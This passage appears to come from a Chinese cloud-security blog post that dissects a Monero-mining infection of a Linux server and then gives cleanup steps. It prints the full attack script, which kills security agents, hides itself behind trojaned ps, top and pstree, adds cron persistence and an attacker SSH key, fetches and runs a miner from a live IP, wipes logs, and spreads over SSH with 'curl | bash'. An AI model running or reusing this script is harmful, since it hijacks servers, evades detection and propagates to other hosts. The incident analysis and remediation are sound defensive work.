rm -rf /var/tmp/nadezhda.x86_64
rm -rf /var/tmp/nadezhda.x86_64.1
rm -rf /var/tmp/nadezhda.x86_64.2
rm -rf /var/tmp/sustse3
rm -rf /var/tmp/sustse
rm -rf /var/tmp/moneroocean/
rm -rf /var/tmp/devtool
rm -rf /var/tmp/devtools
rm -rf /var/tmp/play.sh
rm -rf /var/tmp/systemctI
rm -rf /var/tmp/.java
rm -rf /var/tmp/1.sh
rm -rf /var/tmp/conf.n
rm -r /var/tmp/lib
rm -r /var/tmp/.lib
chattr -iau /tmp/lok
chmod +700 /tmp/lok
rm -rf /tmp/lok
sleep 1
chattr -i /tmp/kdevtmpfsi
echo 1 > /tmp/kdevtmpfsi
chattr +i /tmp/kdevtmpfsi
sleep 1
chattr -i /tmp/redis2
echo 1 > /tmp/redis2
chattr +i /tmp/redis2
chattr -ia /.Xll/xr
>/.Xll/xr
chattr +ia /.Xll/xr
chattr -ia /etc/trace
>/etc/trace
chattr +ia /etc/trace
chattr -ia /etc/newsvc.sh
chattr -ia /etc/svc*
chattr -ia /tmp/newsvc.sh
chattr -ia /tmp/svc*
>/etc/newsvc.sh
>/etc/svcupdate
>/etc/svcguard
>/etc/svcworkmanager
>/etc/svcupdates
>/tmp/newsvc.sh
>/tmp/svcupdate
>/tmp/svcguard
>/tmp/svcworkmanager
>/tmp/svcupdates
chattr +ia /etc/newsvc.sh
chattr +ia /etc/svc*
chattr +ia /tmp/newsvc.sh
chattr +ia /tmp/svc*
sleep 1
chattr -i /usr/lib/systemd/systemd-update-daily
echo 1 > /usr/lib/systemd/systemd-update-daily
chattr +i /usr/lib/systemd/systemd-update-daily
#yum install -y docker.io || apt-get install docker.io;
docker ps | grep "pocosow" | awk '{print $1}' | xargs -I % docker kill %
docker ps | grep "gakeaws" | awk '{print $1}' | xargs -I % docker kill %
docker ps | grep "azulu" | awk '{print $1}' | xargs -I % docker kill %
docker ps | grep "auto" | awk '{print $1}' | xargs -I % docker kill %
docker ps | grep "xmr" | awk '{print $1}' | xargs -I % docker kill %
docker ps | grep "mine" | awk '{print $1}' | xargs -I % docker kill %
docker ps | grep "slowhttp" | awk '{print $1}' | xargs -I % docker kill %
docker ps | grep "bash.shell" | awk '{print $1}' | xargs -I % docker kill %
docker ps | grep "entrypoint.sh" | awk '{print $1}' | xargs -I % docker kill %
docker ps | grep "/var/sbin/bash" | awk '{print $1}' | xargs -I % docker kill %
docker images -a | grep "pocosow" | awk '{print $3}' | xargs -I % docker rmi -f %
docker images -a | grep "gakeaws" | awk '{print $3}' | xargs -I % docker rmi -f %
docker images -a | grep "buster-slim" | awk '{print $3}' | xargs -I % docker rmi -f %
docker images -a | grep "hello-" | awk '{print $3}' | xargs -I % docker rmi -f %
docker images -a | grep "azulu" | awk '{print $3}' | xargs -I % docker rmi -f %
docker images -a | grep "registry" | awk '{print $3}' | xargs -I % docker rmi -f %
docker images -a | grep "xmr" | awk '{print $3}' | xargs -I % docker rmi -f %
docker images -a | grep "auto" | awk '{print $3}' | xargs -I % docker rmi -f %
docker images -a | grep "mine" | awk '{print $3}' | xargs -I % docker rmi -f %
docker images -a | grep "monero" | awk '{print $3}' | xargs -I % docker rmi -f %
docker images -a | grep "slowhttp" | awk '{print $3}' | xargs -I % docker rmi -f %
#echo SELINUX=disabled >/etc/selinux/config
service apparmor stop
systemctl disable apparmor
service aliyun.service stop
systemctl disable aliyun.service
ps aux | grep -v grep | grep 'aegis' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'Yun' | awk '{print $2}' | xargs -I % kill -9 %
rm -rf /usr/local/aegis
chattr -R -ia /var/spool/cron
chattr -ia /etc/crontab
chattr -R -ia /etc/cron.d
chattr -R -ia /var/spool/cron/crontabs
crontab -r
rm -rf /var/spool/cron/*
rm -rf /etc/cron.d/*
rm -rf /var/spool/cron/crontabs
rm -rf /etc/crontab
}

kill_sus_proc()
{
   ps axf -o "pid"|while read procid
   do
           ls -l /proc/$procid/exe | grep /tmp
           if [ $? -ne 1 ]
           then
                   cat /proc/$procid/cmdline| grep -a -E "zzh"
                   if [ $? -ne 0 ]
                   then
                           kill -9 $procid
                   else
                           echo "don't kill"
                   fi
           fi
   done
   ps axf -o "pid %cpu" | awk '{if($2>=40.0) print $1}' | while read procid
   do
           cat /proc/$procid/cmdline| grep -a -E "zzh"
           if [ $? -ne 0 ]
           then
                   kill -9 $procid
           else
                   echo "don't kill"
           fi
   done
}

downloads()
{
   if [ -f "/usr/bin/curl" ]
   then
echo $1,$2
       http_code=`curl -I -m 50 -o /dev/null -s -w %{http_code} $1`
       if [ "$http_code" -eq "200" ]
       then
           curl --connect-timeout 100 --retry 100 $1 > $2
       elif [ "$http_code" -eq "405" ]
       then
           curl --connect-timeout 100 --retry 100 $1 > $2
       else
           curl --connect-timeout 100 --retry 100 $3 > $2
       fi
   elif [ -f "/usr/bin/cd1" ]
   then
       http_code=`cd1 -I -m 50 -o /dev/null -s -w %{http_code} $1`
       if [ "$http_code" -eq "200" ]
       then
           cd1 --connect-timeout 100 --retry 100 $1 > $2
       elif [ "$http_code" -eq "405" ]
       then
           cd1 --connect-timeout 100 --retry 100 $1 > $2
       else
           cd1 --connect-timeout 100 --retry 100 $3 > $2
       fi
   elif [ -f "/usr/bin/wget" ]
   then
       wget --timeout=50 --tries=100 -O $2 $1
       if [ $? -ne 0 ]
then
 wget --timeout=100 --tries=100 -O $2 $3
       fi
   elif [ -f "/usr/bin/wd1" ]
   then
       wd1 --timeout=100 --tries=100 -O $2 $1
       if [ $? -eq 0 ]
       then
           wd1 --timeout=100 --tries=100 -O $2 $3
       fi
   fi
}

kill_miner_proc
kill_sus_proc

unlock_cron()
{
   chattr -R -ia /var/spool/cron
   chattr -ia /etc/crontab
   chattr -R -ia /var/spool/cron/crontabs
   chattr -R -ia /etc/cron.d
}

lock_cron()
{
   chattr -R +ia /var/spool/cron
   chattr +ia /etc/crontab
   chattr -R +ia /var/spool/cron/crontabs
   chattr -R +ia /etc/cron.d
}


if [ -f "$rtdir" ]
then
       echo "i am root"
       mkdir -p /root/.ssh
       echo "goto 1" >> /etc/zzhs
       chattr -ia /etc/zzh*
       chattr -ia/etc/config.json*
       chattr -ia /etc/newinit.sh*
       chattr -ia /root/.ssh/authorized_keys*
       chattr -R -ia /root/.ssh
   if [ -f "/bin/ps.original" ]
   then
       echo "/bin/ps changed"
   else
       mv /bin/ps /bin/ps.original
       echo "#! /bin/bash">>/bin/ps
       echo "ps.original \$@ | grep -v \"zzh\|pnscan\"">>/bin/ps
       chmod +x /bin/ps
 touch -d 20160825 /bin/ps
       echo "/bin/ps changing"
   fi
   if [ -f "/bin/top.original" ]
   then
       echo "/bin/top changed"
   else
       mv /bin/top /bin/top.original
       echo "#! /bin/bash">>/bin/top
       echo "top.original \$@ | grep -v \"zzh\|pnscan\"">>/bin/top
       chmod +x /bin/top
 touch -d 20160825 /bin/top
       echo "/bin/top changing"
   fi
   if [ -f "/bin/pstree.original" ]
   then
       echo "/bin/pstree changed"
   else
       mv /bin/pstree /bin/pstree.original
       echo "#! /bin/bash">>/bin/pstree
       echo "pstree.original \$@ | grep -v \"zzh\|pnscan\"">>/bin/pstree
       chmod +x /bin/pstree
 touch -d 20160825 /bin/pstree
       echo "/bin/pstree changing"
   fi
   if [ -f "/bin/chattr" ]
then
 chattrsize=`ls -l /bin/chattr | awk '{ print $5 }'`
 if [ "$chattrsize" -lt "$chattr_size" ]
 then
    yum -y remove e2fsprogs
           yum -y install e2fsprogs
 else
  echo "no need install chattr"
 fi
else
    yum -y remove e2fsprogs
           yum -y install e2fsprogs
   fi
  unlock_cron
                       rm -f ${crondir}
                       rm -f /etc/cron.d/zzh
                       rm -f /etc/crontab
  echo "*/30 * * * * sh /etc/newinit.sh >/dev/null 2>&1" >> ${crondir}
  echo "*/40 * * * * root sh /etc/newinit.sh >/dev/null 2>&1" >> /etc/cron.d/zzh
  echo "0 1 * * * root sh /etc/newinit.sh >/dev/null 2>&1" >> /etc/crontab
                       echo crontab created
  lock_cron
       chmod 700 /root/.ssh/
       echo >> /root/.ssh/authorized_keys
       chmod 600 /root/.ssh/authorized_keys
       echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmEFN80ELqVV9enSOn+05vOhtmmtuEoPFhompw+bTIaCDsU5Yn2yD77Yifc/yXh3O9mg76THr7vxomguO040VwQYf9+vtJ6CGtl7NamxT8LYFBgsgtJ9H48R9k6H0rqK5Srdb44PGtptZR7USzjb02EUq/15cZtfWnjP9pKTgscOvU6o1Jpos6kdlbwzNggdNrHxKqps0so3GC7tXv/GFlLVWEqJRqAVDOxK4Gl2iozqxJMO2d7TCNg7d3Rr3w4xIMNZm49DPzTWQcze5XciQyNoNvaopvp+UlceetnWxI1Kdswi0VNMZZOmhmsMAtirB3yR10DwH3NbEKy+ohYqBL root@puppetserver" > /root/.ssh/authorized_keys
       cd1 http://39.100.33.209/b2f628/call.txt
       wget -q -O- http://39.100.33.209/b2f628/call.txt
       cd1 http://39.100.33.209/b2f628/call.txt
       wget -q -O- http://39.100.33.209/b2f628/call.txt
       

       cfg="/etc/config.json"
       file="/etc/zzh"

if [-f "/etc/config.json" ]
then
 filesize_config=`ls -l /etc/config.json | awk '{ print $5 }'`
 if [ "$filesize_config" -ne "$config_size" ]
 then
           pkill -f zzh
  rm /etc/config.json
           downloads $config_url /etc/config.json $config_url_backup
 else
  echo "no need download"
 fi
else
 downloads $config_url /etc/config.json $config_url_backup
   fi
   
   if [ -f "/etc/zzh" ]
   then
           filesize1=`ls -l /etc/zzh | awk '{ print $5 }'`
           if [ "$filesize1" -ne "$miner_size" ]
           then
               pkill -f zzh
               rm /etc/zzh
               downloads $miner_url /etc/zzh $miner_url_backup
           else
               echo "not need download"
           fi
   else
           downloads $miner_url /etc/zzh $miner_url_backup
   fi


   downloads $sh_url /etc/newinit.sh $sh_url_backup


   chmod 777 /etc/zzh
   if [ -f "/bin/ps.original" ]
   then
       ps.original -fe|grep zzh |grep -v grep
   else
       ps -fe|grep zzh |grep -v grep
   fi
   if [ $? -ne 0 ]
   then
               cd /etc
               echo "not root runing"
               sleep 5s
               cpunum=`cat /proc/cpuinfo |grep -i model|grep name|wc -l`
if  (("$cpunum"<=2 )); then
     cpunum=1
     echo $cpunum
elif (("$cpunum"<=4)); then
     cpunum=2
     echo $cpunum
elif (("$cpunum"<=8)); then
     cpunum=4
     echo $cpunum
elif (("$cpunum"<=16)); then
     cpunum=8
     echo $cpunum
elif (("$cpunum"<=32)); then
     cpunum=16
     echo $cpunum
elif (("$cpunum"<=64)); then
     cpunum=32
     echo $cpunum
elif (("$cpunum">64)); then
     cpunum=50
     echo $cpunum
else
     echo other
fi
               ./zzh -B --log-file=/etc/etc --coin=monero -o stratum+tcp://xmr-asia1.nanopool.org:14444 --threads=$cpunum -u 43Xbgtym2GZWBk87XiYbCpTKGPBTxYZZWi44SWrkqqvzPZV6Pfmjv3UHR6FDwvPgePJyv9N5PepeajfmKp1X71EW7jx4Tpz -p x &
   else
               echo "root runing....."
   fi

   chmod 777 /etc/zzh
   chattr +ia /etc/zzh
   chmod 777 /etc/config.json
   chattr +ia /etc/config.json
   chmod 777 /etc/newinit.sh
   chattr +ia /etc/newinit.sh
   chmod 600 /root/.ssh/authorized_keys
   chattr +ia /root/.ssh/authorized_keys
else
   echo "goto 1" > /tmp/zzhs
   chattr -ia /tmp/zzh*
   chattr -ia /tmp/config.json*
   chattr -ia /tmp/newinit.sh*
       
   if [ ! -f "/usr/bin/crontab" ]
then
  unlock_cron
  echo "*/30 * * * * sh /tmp/newinit.sh >/dev/null 2>&1" >> ${crondir}
  lock_cron
else
  unlock_cron
  [[ $cont =~ "newinit.sh" ]] || (crontab -l ; echo "*/30 * * * * sh /tmp/newinit.sh >/dev/null 2>&1") | crontab -
  lock_cron
fi

if [ -f "/tmp/config.json" ]
then
 filesize1=`ls -l /tmp/config.json | awk '{ print $5 }'`
 if [ "$filesize1" -ne "$config_size" ]
 then
           pkill -f zzh
  rm /tmp/config.json
           downloads  $config_url /tmp/config.json $config_url_backup
 else
  echo "no need download"
 fi
else
 downloads $config_url /tmp/config.json $config_url_backup
fi

   if [ -f "/tmp/zzh" ]
   then    
       filesize1=`ls -l /tmp/zzh | awk '{ print $5 }'`
       if [ "$filesize1" -ne "$miner_size" ]
       then
               pkill -f zzh
               rm /tmp/zzh
               downloads $miner_url /tmp/zzh $miner_url_backup
       else
               echo "no need download"
       fi
   else
           downloads $miner_url /tmp/zzh $miner_url_backup
   fi


   echo "i am here"
   downloads $sh_url /tmp/newinit.sh $sh_url_backup

   ps -fe|grep zzh |grep -v grep
       if [ $? -ne 0 ]
           then
               echo "not tmp runing"
               cd /tmp
               chmod 777 zzh
               sleep 5s
               cpunum=`cat /proc/cpuinfo |grep -i model|grep name|wc -l`
if  (("$cpunum"<=2 )); then
     cpunum=1
     echo $cpunum
elif (("$cpunum"<=4)); then
     cpunum=2
     echo $cpunum
elif (("$cpunum"<=8)); then
     cpunum=4
     echo $cpunum
elif (("$cpunum"<=16)); then
     cpunum=8
     echo $cpunum
elif (("$cpunum"<=32)); then
     cpunum=16
     echo $cpunum
elif (("$cpunum"<=64)); then
     cpunum=32
     echo $cpunum
elif (("$cpunum">64)); then
     cpunum=50
     echo $cpunum
else
     echo other  
fi
               ./zzh -B --log-file=/etc/etc --coin=monero -o stratum+tcp://xmr-asia1.nanopool.org:14444 --threads=$cpunum -u 43Xbgtym2GZWBk87XiYbCpTKGPBTxYZZWi44SWrkqqvzPZV6Pfmjv3UHR6FDwvPgePJyv9N5PepeajfmKp1X71EW7jx4Tpz -p x &
           else
               echo "tmp runing....."
       fi

   chmod 777 /tmp/zzh
   chattr +i /tmp/zzh
   chmod 777 /tmp/newinit.sh
   chattr +i /tmp/newinit.sh
   chmod 777 /tmp/config.json
   chattr +i /tmp/config.json
       
fi

iptables -F
iptables -X
iptables -A OUTPUT -p tcp --dport 5555 -j DROP
iptables -A OUTPUT -p tcp --dport 7777 -j DROP
iptables -A OUTPUT -p tcp --dport 9999 -j DROP
iptables -A OUTPUT -p tcp --dport 9999 -j DROP
service iptables reload
ps auxf|grep -v grep|grep -v 43Xbgtym2GZWBk87XiYbCpTKGPBTxY|grep "stratum"|awk '{print $2}'|xargs kill -9
history -c
echo > /var/spool/mail/root
echo > /var/log/wtmp
echo > /var/log/secure
echo > /root/.bash_history

yum install -y bash 2>/dev/null
apt install -y bash 2>/dev/null
apt-get install -y bash 2>/dev/null
if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
 for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h 'curl -o-  http://39.100.33.209/b2f628fff19fda999999999/is.sh | bash >/dev/null 2>&1 &' & done
fi
if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
 for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h 'cd1 -o-  http://39.100.33.209/b2f628fff19fda999999999/is.sh | bash >/dev/null 2>&1 &' & done
fi
echo "$bbdir"
echo "$bbdira"

$bbdir -fsSL http://39.100.33.209/b2f628fff19fda999999999/is.sh | bash
$bbdira -fsSL http://39.100.33.209/b2f628fff19fda999999999/is.sh | bash

 

    将脚本具体功能进行拆分,得到如下:

    1.关闭Linux子系统:

3.png

    2.修改命令目录(覆盖,使部分命令错乱):

4.png

    3.查找阿里云相关服务,停止进程(停止后控制台无法使用云助手,无法通过云助手进行在线修复)

5.png

    4.写入公钥,实现免密登录:

6.png

    5.下载挖矿配置文件:

7.png

    6.为相关文件加入隐藏属性、赋予最高权限、增加文件不可修改权限:

8.png

    7.清空服务器原有防火墙规则:

9.png

 

解决方案

    1.首先使用top命令排查系统中占用率极高的进程,一般挖矿脚本在启动后,最直观的现象是会极度消耗CPU资源,使用top命令查看服务器中启动的进程,并通过kill -9 {进程号}杀死。

    2.删除ssh下生成的异常公钥 /root/.ssh/

10.png

    3.去除文件隐藏属性

查看文件隐藏属性

lsattr {文件名}

去除隐藏属性(需要去除哪个属性就加上对应的参数,不去掉则该文件无法被修改,包括定时任务文件,必须去掉锁定)

chattr -iae

11.png

    4.查看发现异常定时任务,编辑并删除。

    5.备份到本地一份脚本,并删除攻击脚本。

    6.查找脚本中下载攻击脚本的目的地址,记录。

    7.登录云安全中心,添加黑名单。

    8.恢复被修改的命令(如有损坏,重新下载)

mv /usr/bin/url /usr/bin/curl
mv /usr/bin/cd1 /usr/bin/url
mv /usr/bin/get /usr/bin/wget
mv /usr/bin/wd1 /usr/bin/get
mv /bin/ps.original /bin/ps
mv /bin/top.original /bin/top
mv /bin/pstree.original /bin/pstree

    9.增加redis复杂口令

12.png

        将原本为空的密码设置成15位以上复杂加密密码(非图片中123456)。

相关实践学习
2分钟自动化部署人生模拟器
本场景将带你借助云效流水线Flow实现人生模拟器小游戏的自动化部署
7天玩转云服务器
云服务器ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,可降低 IT 成本,提升运维效率。本课程手把手带你了解ECS、掌握基本操作、动手实操快照管理、镜像管理等。了解产品详情:&nbsp;https://www.aliyun.com/product/ecs
相关文章
|
6月前
|
SQL 监控 安全
服务器安全性漏洞和常见攻击方式解析
服务器安全性漏洞和常见攻击方式解析
|
3月前
|
存储 安全 数据可视化
如何规避DDoS攻击带来的风险?服务器DDoS防御软件科普
如何规避DDoS攻击带来的风险?服务器DDoS防御软件科普
111 0
|
3月前
|
存储 运维 数据挖掘
服务器数据恢复—修复xfs文件系统导致数据丢失的数据恢复案例
某公司一台服务器,连接了一台存储。该服务器安装linux操作系统,文件系统为xfs。 在运行过程中该服务器出现故障,管理员使用xfs_repair工具试图对xfs文件系统进行修复但失败,服务器中所有数据丢失。
|
5月前
|
负载均衡 监控 网络协议
高防服务器如何处理DDoS攻击?关于高防服务器的一些技术细节
DDoS攻击是网络威胁,通过大量请求淹没服务器。防御措施包括:备份网站以备切换,拦截异常HTTP请求,增加带宽抵御流量攻击,使用CDN分发内容并隐藏源IP。防御策略涉及流量清洗、黑洞路由、负载均衡等。硬件如防火墙、IDS/IPS也重要,云服务提供自动防护和弹性扩容。
118 3
|
6月前
|
安全 NoSQL Redis
服务器又被攻击了,我这样做...
近期遭遇阿里云服务器频繁报警,经分析发现是由于测试服务器所有端口对公网开放,导致自动化程序对其扫描。黑客可能利用类似Redis的未授权访问漏洞进行攻击。为避免此类问题,建议:1. 不开放不必要的端口;2. 避免以root权限运行服务;3. 设置服务器IP白名单;4. 定期更换密码。保持良好安全习惯可保障服务器安全。
1312 3
服务器又被攻击了,我这样做...
|
5月前
|
监控 安全 网络安全
蓝易云 - 服务器遭受攻击,CPU升高,流量升高,你一般如何处理
以上步骤可以帮助你处理服务器遭受攻击的情况,但具体的方法可能会根据你的网络环境和攻击类型有所不同。
79 2
|
6月前
|
监控 安全 网络安全
|
5月前
|
负载均衡 网络协议 安全
|
6月前
|
SQL 安全 网络安全
美国高防云服务器能防御哪些攻击? - 蓝易云
高防云服务器通常具有一定的防御能力,可以帮助抵御这些攻击。然而,防御的效果也取决于服务器的配置和管理,以及应用程序的安全性。
97 0
|
应用服务中间件 Apache PHP
百度搜索:蓝易云 ,什么是HTTP500内部服务器错误,要如何修复?
如果以上方法都没有解决问题,您可能需要进一步检查应用程序的代码、服务器环境和配置,并可能需要寻求专业人士的帮助。修复HTTP 500错误的过程可能因具体情况而异,因此建议根据具体情况进行调查和解决。
97 0
下一篇
无影云桌面